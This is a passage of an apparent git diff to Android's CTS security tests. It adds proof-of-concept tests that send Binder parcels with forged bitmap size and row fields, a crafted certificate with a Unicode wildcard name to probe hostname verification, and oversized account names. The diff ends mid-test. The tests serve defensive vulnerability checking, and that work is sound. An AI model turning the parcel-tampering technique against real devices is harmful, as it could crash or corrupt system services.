-            InputStream is = mContext.getResources().openRawResource(resId);
+            InputStream is = getInstrumentation().getContext().getResources().openRawResource(resId);
             assertNotNull(is);
             File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
             file.deleteOnExit();
@@ -58,6 +66,7 @@
      * Verifies that decoding a corrupt ICO does crash.
      */
     @AsbSecurityTest(cveBugId = 38116746)
+    @Test
     public void test_android_bug_38116746() {
         FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
         try {
@@ -74,6 +83,7 @@
      * Verifies that decoding a corrupt BMP does crash.
      */
     @AsbSecurityTest(cveBugId = 37627194)
+    @Test
     public void test_android_bug_37627194() {
         FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
         try {
@@ -84,6 +94,7 @@
     }
 
     @AsbSecurityTest(cveBugId = 156261521)
+    @Test
     public void test_android_bug_156261521() {
         // Previously decoding this would crash.
         FileDescriptor exploitImage = getResource(R.raw.bug_156261521);
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
new file mode 100644
index 0000000..c532e05
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+
+public class BitmapService extends Service {
+
+    private final IBitmapService.Stub mBinder = new IBitmapService.Stub() {
+        @Override
+        public int getAllocationSize(BitmapWrapper wrapper) {
+            return wrapper.getBitmap().getAllocationByteCount();
+        }
+
+        @Override
+        public boolean didReceiveBitmap(BitmapWrapper wrapper) {
+            return true;
+        }
+
+
+        @Override
+        public boolean ping() {
+            return true;
+        }
+    };
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 40cb139..5ce81fd 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,16 +16,89 @@
 
 package android.security.cts;
 
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
 import android.graphics.Bitmap;
+import android.os.BadParcelableException;
+import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
 @RunWith(AndroidJUnit4.class)
-public class BitmapTest {
+public class BitmapTest extends StsExtraBusinessLogicTestCase {
+
+    private Instrumentation mInstrumentation;
+    private PeerConnection mRemoteConnection;
+    private IBitmapService mRemote;
+
+    public static class PeerConnection extends AbstractFuture<IBitmapService>
+            implements ServiceConnection {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            set(IBitmapService.Stub.asInterface(service));
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+
+        @Override
+        public IBitmapService get() throws InterruptedException, ExecutionException {
+            try {
+                return get(5, TimeUnit.SECONDS);
+            } catch (TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    @After
+    public void tearDown() {
+        if (mRemoteConnection != null) {
+            final Context context = mInstrumentation.getContext();
+            context.unbindService(mRemoteConnection);
+            mRemote = null;
+            mRemoteConnection = null;
+        }
+    }
+
+    IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
+        if (mRemote == null) {
+            final Context context = mInstrumentation.getContext();
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(
+                    "android.security.cts", "android.security.cts.BitmapService"));
+            mRemoteConnection = new PeerConnection();
+            context.bindService(intent, mRemoteConnection,
+                    Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+            mRemote = mRemoteConnection.get();
+        }
+        return mRemote;
+    }
+
     /**
      * Test Bitmap.createBitmap properly throws OOME on large inputs.
      *
@@ -39,4 +112,102 @@
         // which might be passed to createBitmap from a Java decoder.
         Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888);
     }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 213169612)
+    public void test_inplace_213169612() throws Exception {
+        IBitmapService remote = getRemoteService();
+        Assert.assertTrue("Binder should be alive", remote.ping());
+        BitmapWrapper wrapper = new BitmapWrapper(
+                Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888));
+        final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+        int allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 500KiB; larger than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 500 * 1024);
+        allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 2 bytes; smaller than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the blob size accurate, but change computed allocation size to be too large
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 10_000)
+                .replace(BitmapWrapper.Field.RowBytes, 50_000);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 213169612)
+    public void test_ashmem_213169612() throws Exception {
+        IBitmapService remote = getRemoteService();
+        Assert.assertTrue("Binder should be alive", remote.ping());
+        BitmapWrapper wrapper = new BitmapWrapper(
+                Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888)
+                        .createAshmemBitmap());
+        final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+        int allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to be larger than the initial size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 2 bytes; smaller than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the ashmem size accurate, but change computed allocation size to be too large
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 10_000)
+                .replace(BitmapWrapper.Field.RowBytes, 50_000);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the ashmem size accurate, but change computed allocation size to be smaller
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 100);
+        allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
new file mode 100644
index 0000000..dbcf498
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.ArrayMap;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Assert;
+
+public class BitmapWrapper implements Parcelable {
+    enum Field {
+        DataSize,
+        Height,
+        RowBytes,
+    }
+
+    private final Bitmap mBitmap;
+    private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>();
+
+    public BitmapWrapper(Bitmap bitmap) {
+        mBitmap = bitmap;
+    }
+
+    private BitmapWrapper(Parcel in) {
+        mBitmap = Bitmap.CREATOR.createFromParcel(in);
+    }
+
+    public Bitmap getBitmap() {
+        return mBitmap;
+    }
+
+    public BitmapWrapper reset() {
+        mReplaceFields.clear();
+        return this;
+    }
+
+    public BitmapWrapper replace(Field field, int newValue) {
+        mReplaceFields.put(field, newValue);
+        return this;
+    }
+
+    @Override
+    public int describeContents() {
+        return mBitmap.describeContents();
+    }
+
+    @Override
+    public void writeToParcel(@NonNull Parcel dest, int flags) {
+        final int before = dest.dataPosition();
+        mBitmap.writeToParcel(dest, flags);
+        final int oldEnd = dest.dataPosition();
+        if (!mReplaceFields.isEmpty()) {
+            dest.setDataPosition(before
+                    + 4 /* immutable */
+                    + 4 /* colortype */
+                    + 4 /* alpha type */);
+            // Skip sizeof colorspace
+            int colorSpaceLen = dest.readInt();
+            dest.setDataPosition(dest.dataPosition() + colorSpaceLen);
+            Assert.assertEquals(mBitmap.getWidth(), dest.readInt());
+            Assert.assertEquals(mBitmap.getHeight(), dest.readInt());
+            if (mReplaceFields.containsKey(Field.Height)) {
+                dest.setDataPosition(dest.dataPosition() - 4);
+                dest.writeInt(mReplaceFields.get(Field.Height));
+            }
+            Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt());
+            if (mReplaceFields.containsKey(Field.RowBytes)) {
+                dest.setDataPosition(dest.dataPosition() - 4);
+                dest.writeInt(mReplaceFields.get(Field.RowBytes));
+            }
+            Assert.assertEquals(mBitmap.getDensity(), dest.readInt());
+            int type = dest.readInt();
+            if (type == 0) { // in-place
+                if (mReplaceFields.containsKey(Field.DataSize)) {
+                    int dataSize = mReplaceFields.get(Field.DataSize);
+                    dest.writeInt(dataSize);
+                    int newEnd = dest.dataPosition() + dataSize;
+                    dest.setDataSize(newEnd);
+                    dest.setDataPosition(newEnd);
+                } else {
+                    int skip = dest.readInt();
+                    dest.setDataPosition(dest.dataPosition() + skip);
+                }
+            } else if (type == 1) { // ashmem
+                if (mReplaceFields.containsKey(Field.DataSize)) {
+                    int dataSize = mReplaceFields.get(Field.DataSize);
+                    dest.writeInt(dataSize);
+                }
+                dest.setDataPosition(oldEnd);
+            } else {
+                Assert.fail("Unknown type " + type);
+            }
+        }
+    }
+
+    public static final Parcelable.Creator<BitmapWrapper> CREATOR =
+            new Parcelable.Creator<BitmapWrapper>() {
+        public BitmapWrapper createFromParcel(Parcel in) {
+            return new BitmapWrapper(in);
+        }
+
+        public BitmapWrapper[] newArray(int size) {
+            return new BitmapWrapper[size];
+        }
+    };
+
+}
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index 4810703..a15ab42 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -20,13 +20,18 @@
 import android.content.ComponentName;
 import android.content.Intent;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
-public class BluetoothIntentsTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase {
   /**
    * b/35258579
    */
   @AsbSecurityTest(cveBugId = 35258579)
+  @Test
   public void testAcceptIntent() {
     genericIntentTest("ACCEPT");
   }
@@ -35,6 +40,7 @@
    * b/35258579
    */
   @AsbSecurityTest(cveBugId = 35258579)
+  @Test
   public void testDeclineIntent() {
       genericIntentTest("DECLINE");
   }
@@ -47,7 +53,7 @@
           new ComponentName("com.android.bluetooth",
             "com.android.bluetooth.opp.BluetoothOppReceiver"));
       should_be_protected_broadcast.setAction(prefix + action);
-      mContext.sendBroadcast(should_be_protected_broadcast);
+      getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
     }
     catch (SecurityException e) {
       return;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
index 6625c9e..f85ec3f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -28,6 +28,8 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -35,7 +37,7 @@
 import static org.junit.Assume.*;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2020_0294 {
+public class CVE_2020_0294 extends StsExtraBusinessLogicTestCase {
     private static final String TAG = "CVE_2020_0294";
 
     /**
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
index deb7c40..14cb7ce 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -31,11 +31,13 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0309 {
+public class CVE_2021_0309 extends StsExtraBusinessLogicTestCase {
     private final Context mContext = InstrumentationRegistry.getContext();
     boolean isVulnerable = true;
 
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
index 13076ba..44bbc01 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
@@ -24,13 +24,14 @@
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0327 {
+public class CVE_2021_0327 extends StsExtraBusinessLogicTestCase {
 
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
     private static final String TAG = "CVE_2021_0327";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index 5335a42..98b8de8 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -31,6 +31,9 @@
 import android.util.Log;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -38,7 +41,7 @@
 import java.util.concurrent.TimeUnit;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0339 {
+public class CVE_2021_0339 extends StsExtraBusinessLogicTestCase {
 
     static final String TAG = CVE_2021_0339.class.getSimpleName();
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0341.java b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
new file mode 100644
index 0000000..130dce5
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.security.Principal;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateFactory;
+import java.util.Enumeration;
+import java.util.Hashtable;
+import java.util.Vector;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionBindingEvent;
+import javax.net.ssl.SSLSessionBindingListener;
+import javax.net.ssl.SSLSessionContext;
+import javax.security.cert.CertificateException;
+
+// Taken reference from
+// libcore/support/src/test/java/org/apache/harmony/xnet/tests/support/mySSLSession.java
+class CVE_2021_0341_SSLSession implements SSLSession {
+
+    private byte[] idData;
+    private String nameHost = null;
+    private int namePort = -1;
+    private Hashtable table;
+    private boolean invalidateDone = false;
+    private Certificate[] certs = null;
+    private javax.security.cert.X509Certificate[] xCerts = null;
+
+    public CVE_2021_0341_SSLSession(Certificate[] xc)
+            throws CertificateEncodingException, CertificateException {
+        certs = xc;
+        xCerts = new javax.security.cert.X509Certificate[xc.length];
+        int i = 0;
+        for (Certificate cert : xc) {
+            xCerts[i++] = javax.security.cert.X509Certificate.getInstance(cert.getEncoded());
+        }
+    }
+
+    public int getApplicationBufferSize() {
+        return 1234567;
+    }
+
+    public String getCipherSuite() {
+        return "SuiteName";
+    }
+
+    public long getCreationTime() {
+        return 1000L;
+    }
+
+    public byte[] getId() {
+        return idData;
+    }
+
+    public long getLastAccessedTime() {
+        return 2000L;
+    }
+
+    public Certificate[] getLocalCertificates() {
+        return null;
+    }
+
+    public Principal getLocalPrincipal() {
+        return null;
+    }
+
+    public int getPacketBufferSize() {
+        return 12345;
+    }
+
+    public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException {
+        assumeFalse("peer not authenticated", (certs == null));
+        return certs;
+    }
+
+    public javax.security.cert.X509Certificate[] getPeerCertificateChain()
+            throws SSLPeerUnverifiedException {
+        assumeFalse("peer not authenticated", (xCerts == null));
+        return xCerts;
+    }
+
+    public String getPeerHost() {
+        return nameHost;
+    }
+
+    public int getPeerPort() {
+        return namePort;
+    }
+
+    public Principal getPeerPrincipal() throws SSLPeerUnverifiedException {
+        return null;
+    }
+
+    public String getProtocol() {
+        return "ProtocolName";
+    }
+
+    public SSLSessionContext getSessionContext() {
+        return null;
+    }
+
+    public void putValue(String s, Object obj) {
+        assumeFalse("arguments can not be null", (s == null || obj == null));
+        Object obj1 = table.put(s, obj);
+        if (obj1 instanceof SSLSessionBindingListener) {
+            SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+            ((SSLSessionBindingListener) obj1).valueUnbound(sslsessionbindingevent);
+        }
+        if (obj instanceof SSLSessionBindingListener) {
+            SSLSessionBindingEvent sslsessionbindingevent1 = new SSLSessionBindingEvent(this, s);
+            ((SSLSessionBindingListener) obj).valueBound(sslsessionbindingevent1);
+        }
+    }
+
+    public void removeValue(String s) {
+        assumeFalse("argument can not be null", (s == null));
+        Object obj = table.remove(s);
+        if (obj instanceof SSLSessionBindingListener) {
+            SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+            ((SSLSessionBindingListener) obj).valueUnbound(sslsessionbindingevent);
+        }
+    }
+
+    public Object getValue(String s) {
+        assumeFalse("argument can not be null", (s == null));
+        return table.get(s);
+    }
+
+    public String[] getValueNames() {
+        Vector vector = new Vector();
+        Enumeration enumeration = table.keys();
+        while (enumeration.hasMoreElements()) {
+            vector.addElement(enumeration.nextElement());
+        }
+        String as[] = new String[vector.size()];
+        vector.copyInto(as);
+        return as;
+    }
+
+    public void invalidate() {
+        invalidateDone = true;
+    }
+
+    public boolean isValid() {
+        return invalidateDone;
+    }
+}
+
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0341 {
+
+    public final static byte[] X509_TEST_CERTIFICATE = ("-----BEGIN CERTIFICATE-----\n"
+            + "MIIC3DCCAcSgAwIBAgIURJspNgSx6GVbOLijqravWoGlm+0wDQYJKoZIhvcNAQEL\n"
+            + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExNTE1NFoXDTMxMTExNzEx\n"
+            + "NTE1NFowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+            + "MIIBCgKCAQEA2PxVfeoY/uA66aVRXpuZXodTBFBGowTt/lAJxR8fVjDwRTOrRTrr\n"
+            + "2qdLPPK40lFQOSfHw/g6+9WjNjjSDBP+U2Agrvo8cU5R1DwJWyK2wcHOtBcL2bsj\n"
+            + "kRx18CZtZUu51a8KEhMCaIoHgGzwGMZkJnfmfO9ABbMfFsyn6KxFf0MXG3bRcQU7\n"
+            + "LyCXyQbo2Lal68QiTMXZs9rXN/a8ex+RmP9PKaXIEsIOeDrtLhzcWyNjrtTuDRoR\n"
+            + "K49xHOpz4EmqHLDzIKuhqyyo9tLR+okK0BRJoNxmfvRTbxNbjzpTTFgyB4KrKBCO\n"
+            + "VQXJROlBf7594xlCMn0QSwElVT4bMaMw/QIDAQABoywwKjAoBgNVHREEITAfggkq\n"
+            + "LmJhci5jb22CEiou44Kw44O844Kw44OrLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEA\n"
+            + "piIwY84InjX4BUmAmM+D9CHD/9euucGxgdXqL6kKG1HRL6lHfwZAIxhlbn3jWFEx\n"
+            + "k5DTkaL039FGLvYzMI0McwTIuHY/7JwCbZUJ3pVl0waW4sab+2LScnpe9c422Tqb\n"
+            + "hECEhc71E/kRlG9FjQN3wjEj3RcnWZAWCqAnJN/dcd/1tBD88tzHVckDC9mSvxzP\n"
+            + "hkmIRRifIDxcrmx7PkpJ6dAfiw9e1Pl5THdsPTDtiGJ4hjlsAi8ury3rrx31lsyo\n"
+            + "kAwQy23Q7Rcbr2z8bijDuSWWWc9RRsz+O/ePy35NJci/RUwVFTpvOFtahC30Jdv3\n"
+            + "vpmqxLqEF7Z9I1yb3Q6YUg==\n" + "-----END CERTIFICATE-----\n").getBytes();
+
+    /**
+     * b/171980069
+     */
+    @AsbSecurityTest(cveBugId = 171980069)
+    @Test
+    public void testPocCVE_2021_0341() throws Exception {
+        CertificateFactory cf = CertificateFactory.getInstance("X.509");
+        assumeNotNull(cf);
+        HostnameVerifier verifier = HttpsURLConnection.getDefaultHostnameVerifier();
+        assumeNotNull(verifier);
+        InputStream in = new ByteArrayInputStream(X509_TEST_CERTIFICATE);
+        java.security.cert.X509Certificate x509 =
+                (java.security.cert.X509Certificate) cf.generateCertificate(in);
+        assumeNotNull(x509);
+        CVE_2021_0341_SSLSession session =
+                new CVE_2021_0341_SSLSession(new java.security.cert.X509Certificate[] {x509});
+        assertFalse(verifier.verify("\u82b1\u5b50.bar.com", session));
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index b39bc71..d437142 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -18,13 +18,14 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import dalvik.system.VMRuntime;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 import static org.junit.Assert.assertFalse;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0394 {
+public class CVE_2021_0394 extends StsExtraBusinessLogicTestCase {
     static {
         System.loadLibrary("ctssecurity_jni");
     }
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
index 8a883ff..d4b0179 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
@@ -22,6 +22,7 @@
 import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import java.lang.reflect.Field;
 import java.util.Collections;
 import java.util.List;
@@ -34,7 +35,7 @@
 import static org.junit.Assume.assumeThat;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0521 {
+public class CVE_2021_0521 extends StsExtraBusinessLogicTestCase {
 
     private String TAG = "CVE_2021_0521";
 
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
index 855ad37..b79070f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
@@ -26,13 +26,14 @@
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0922 {
+public class CVE_2021_0922 extends StsExtraBusinessLogicTestCase {
 
     private Instrumentation mInstrumentation;
 
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
new file mode 100644
index 0000000..0f44d8c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0934 extends StsExtraBusinessLogicTestCase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 169762606)
+    @Test
+    public void testPocCVE_2021_0934() {
+        try {
+            // Creating an account with arguments 'name' and 'type' whose
+            // lengths are greater than 200
+            String name = new String(new char[300]).replace("\0", "n");
+            String type = new String(new char[300]).replace("\0", "t");
+            Account acc = new Account(name, type);
+            assumeNotNull(acc);
+
+            // Shouldn't have reached here, unless fix is not present
+            fail("Vulnerable to b/169762606, allowing account name/type "
+                    + "with character count 300 whereas limit is 200");
+        } catch (Exception e) {
+            if (e instanceof IllegalArgumentException) {
